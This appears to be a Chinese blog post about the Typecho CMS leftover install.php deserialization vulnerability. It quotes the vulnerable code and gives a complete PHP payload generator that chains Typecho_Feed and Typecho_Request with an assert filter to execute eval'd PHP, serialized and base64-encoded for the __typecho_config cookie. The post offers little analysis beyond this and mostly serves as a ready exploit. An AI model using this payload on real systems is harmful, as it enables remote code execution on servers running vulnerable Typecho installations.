Typecho的博客cms,在安装后不会删除install.php这个文件,因此有了该漏洞。

install.php片段代码

<?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                ......
                <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                ......
                <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>


在这里面你只要设置了正确的referer,然后加上一个finish参数就可以进入到该分支中,他会直接反序列化COOKIE中传入的一个值,然后进行一个DB初始化操作,但是DB初始化操作没什么用。
倒是COOKIE参数传入输入的操作有一个危害

具体分析大量的在网上已经有了,我就不写了,因为写了也没吊用。

攻击payload生成
<?php
class Typecho_Request
{
 private $_params = array('screenName'=>'eval('phpinfo();exit();')');
 private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{
 private $_type = 'RSS 2.0';
 private $_items;
 public function __construct($x1)
 {
 $this->_items[] = array('author'=>$x1);
 }
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));

在附上一个大牛写好的exp,有没有后门别问我。自己查
typecho

发表评论

电子邮件地址不会被公开。 必填项已用*标注